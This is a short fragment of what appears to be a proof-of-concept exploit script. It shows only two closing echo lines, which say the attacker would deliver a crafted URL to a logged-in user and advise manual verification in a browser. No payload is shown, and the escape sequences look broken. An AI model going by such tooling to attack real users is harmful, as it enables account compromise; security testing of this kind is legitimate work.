echo "n[*] PoC complete. The attacker would need to deliver the crafted URL to a logged-in user.n";
echo "[*] Manual verification recommended by opening the malicious URL in a browser.n";

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